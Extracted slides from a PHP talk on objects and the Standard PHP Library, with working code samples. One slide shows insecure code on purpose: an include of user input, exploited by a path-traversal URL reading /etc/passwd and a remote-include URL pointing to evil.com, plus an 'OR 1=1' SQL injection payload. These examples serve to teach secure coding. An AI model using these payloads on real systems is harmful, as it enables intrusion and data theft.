3. Michelangelo van Dam
• Independent Consultant
• Zend Certified Engineer (ZCE)
- PHP 4 & PHP 5
- Zend Framework
• Co-Founder of PHPBenelux
• Shepherd of “elephpant” herds
4. T AIL O RM A D E S O L U T I O N S
Macq électronique, manufacturer and developer, proposes
you a whole series of electronic and computing-processing
solutions for industry, building and road traffic.
Macq électronique has set itself two objectives which are
essential for our company :
developing with competence and innovation
earning the confidence of our customers
Macq électronique presents many references carried out
the last few years which attest to its human and
technical abilities to meet with the greatest efficiency
the needs of its customers.
For more information, please check out our website
http://www.macqel.eu
7. Classes
•- Class defines an object
constant features
- properties
- methods
- magic
• can inherit object properties and methods
• can provide a basis for a multitude of objects
?
8. Object Simplified
properties methods constants
- cycling - color
- sitting - material
- steering - brand
- paddling - type
10. Functional Objects
Math
addValue($value)
subtractValue($value)
multiplyValue($value)
divideValue($value)
11. Objects in PHP
<?php
class MyClass
{
public $property;
public function setProperty($property)
{
$this->property = $property;
return $this;
}
public function getProperty()
{
return $this->property;
}
}
$my = new MyClass;
$my->setProperty('Test');
var_dump($my);
// outputs
object(MyClass)#1 (1) {
["property"]=>
string(4) "Test"
}
12. And why is this better ?
• Uniform approach for data
• Reuse of data structures and content
•- Providing a common vocabulary
when I say bicycle, everyone knows
- when I say table User data, it gets trickier
• Might be useful on other data sources as well
- database
- CSV files
- web service
- streams
29. Blows up in your face
…
include $_GET['file'];
when calling
script.php?file=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
or
script.php?file=http%3A%2F%2Fevil.com%2Fscript.php
…
$sql = 'SELECT * FROM test WHERE username='' . $_POST['username']
. '' AND password=MD5(' . $_POST['password'] . ')';
$results = $pdo->query($sql);
What happens when you post for username:
“test' OR 1=1; --”
You want to run this in your MySQL client ???
SELECT * FROM test WHERE username='test' OR 1=1; --' AND password=MD5()
30. Filtering & Validation
•- Filtering : modifying data before validation
trim whitespaces
- put everything in lower case
- stripping HTML-tags
- …
• Validation: check if the data meets conditions
- data type (string, integer, float, object, …)
- string length
- is a valid email address
- …
31. unescaped output
• wrong encoding on pages ( � )
• translates html code into encoded entities
• cross site scripting (XSS)
• uncontrolled output of user generated content
•…
36. What is SPL ?
Standard PHP Library
interfaces, classes and methods
solve common development challenges
Available since PHP 5.0 !!!
As of 5.3 SPL cannot be turned off from the source !
38. Definition of SPL
SPL provides a huge toolkit that assists you to easily
iterate over a diversity of data structures in a
standardized way
39. What does it provide ?
• ArrayObject - approach arrays as objects
• Iterators - various iterators
• Interfaces - iterator interfaces for your objects
• Exceptions - exceptions to streamline error handling
• SPL Functions - extra functions and autoloader func
• SplFileInfo - tools for filesystem access
• Data structures - structuring data sequences
41. ArrayObject
•- provides an interface
treat arrays as objects
- elements are iteratable
- provides serializing and deserializing of arrays
- sorting elements (w/ or w/o callback methods)
- exchange elements with other arrays or objects
44. More of ArrayObject
…
// serializing object for caching, sessions, …
$obj->serialize();
// adding more key/value elements to the stack
$obj->offsetSet('enterprise', 'Ivo Jansch');
// removing by key
$obj->offsetUnset('time');
…
45. Iterator
• provides a common interface
•- to iterate over “things”
xml data
- database data
- arrays
• move back and forth in a stack
• distinct methods to access keys and values
• specific iterators for different purposes
46. Advantage ?
•- Reusable code
data structures can change
- object oriented
❖ extending
❖ refactoring
❖ overloading
59. Flattened Array output
$iterator = new RecursiveArrayIterator(new ArrayObject($company));
$ritit = new RecursiveIteratorIterator($iterator);
foreach ($ritit as $key => $value) {
echo $key . ' = ' . $value . PHP_EOL;
}
// outputs
name = Chuck Norris
position = Account Manager
name = Jane Doe
position = Project Manager
name = Cinderella
position = Developer
name = Shrek
position = Graphical Designer
name = John Doe
position = Project Manager
60. Interfaces
• Countable: an internal counter
• OuterIterator: iteration over inner iterators
• RecursiveIterator: iterating in an recursive way
• SeekableIterator: an internal stack seeker
• SplObserver: implements observer pattern
• SplSubject: implements observer pattern
61. Interface example
<?php
// file: Order.php
class Order implements Countable, SplSubject
{
protected $_orders;
protected $_count;
public function __construct()
{
$this->_count = 0;
$this->_orders = array ();
}
public function placeOrder()
{
$this->_count++;
}
public function attach(SplObserver $observer)
{
$this->_orders[] = $observer;
}
public function detach(SplObserver $observer)
{
// not used in this case
}
62. Interface Example (2)
public function notify()
{
foreach ($this->_orders as $obj) {
$obj->update($this);
}
}
public function count()
{
return $this->_count;
}
}
<?php
// file: PlaceOrder.php
class PlaceOrder implements SplObserver
{
public function update(SplSubject $order)
{
echo 'We have ' . count($order) . ' orders now' . PHP_EOL;
}
}
63. Running Interface Example
<?php
require_once 'Order.php';
require_once 'PlaceOrder.php';
$order = new Order();
$placeOrder = new PlaceOrder();
$order->attach($placeOrder);
$order->notify();
$order->placeOrder();
$order->notify();
$order->placeOrder();
$order->notify();
$ php ./spl_observer.php
We have 0 orders now
We have 1 orders now
We have 2 orders now
67. Exceptions Example
<?php
//file: spl_exception01.php
class MyClass
{
public function giveANumberFromOneToTen($number)
{
if($number < 1 || $number > 10) {
throw new OutOfBoundsException('Number should be between 1 and
10');
}
echo $number . PHP_EOL;
}
}
$my = new MyClass();
try {
$my->giveANumberFromOneToTen(5);
$my->giveANumberFromOneToTen(20);
} catch (OutOfBoundsException $e) {
echo $e->getMessage() . PHP_EOL;
}
Output:
$ /usr/bin/php ./spl_exception01.php
5
Number should be between 1 and 10
68. SplFunctions
• functions for PHP and SPL in particular
• often dealing with auto loading
• some for internal referencing
69. SplFunctions Example
<?php
interface foo {}
interface bar {}
class baz implements foo, bar {}
class example extends baz {}
var_dump(class_implements(new baz));
var_dump(class_implements(new example));
72. SplFileInfo Example
<?php
// use the current file to get information from
$file = new SplFileInfo(dirname(__FILE__));
var_dump($file->isFile());
var_dump($file->getMTime());
var_dump($file->getSize());
var_dump($file->getFileInfo());
var_dump($file->getOwner());
//output
bool(false)
int(1244760945)
int(408)
object(SplFileInfo)#2 (0) {
}
int(501)
73. Processing CSV with SPL
Consider the following data.csv
Derick Rethans;time
Sebastian Bergmann;test
Marcus Börger;iterate
Ivo Jansch;enterprise
Matthew Weier O'Phinney;extend
Michelangelo van Dam;elephpant
74. SPL usage on CSV
<?php
$info = new SplFileInfo('data.csv');
if ($info->isReadable()) {
$file = $info->openFile();
$file->setFlags(SplFileObject::READ_CSV);
$file->setCsvControl(';','"');
foreach ($file as $row) {
list ($user, $term) = $row;
if (null !== $user && null !== $term) {
echo $user . ' is known for ' . $term . PHP_EOL;
}
}
}
//outputs
Derick Rethans is known for time
Sebastian Bergmann is known for test
Marcus Börger is known for iterate
Ivo Jansch is known for enterprise
Matthew Weier O'Phinney is known for extend
Michelangelo van Dam is known for elephpant
75. Data Structures
• Available in PHP 5.3
•- SplDoublyLinkedList
SplStack
- SplQueue
- SplHeap
- SplMaxHeap
- SplMinHeap
- SplPriorityQueue
81. Conclusion
SPL can help you solve common PHP issues
it’s built-in, so why not use it
it requires no “advanced skills” to use
82. SPL is not all good
•- Matthew “Elazar” Turland pointed out:
Performance could be better (SPLStack)
- ArrayObject doesn’t support all array
functions
• See his presentation:
http://ishouldbecoding.com/publications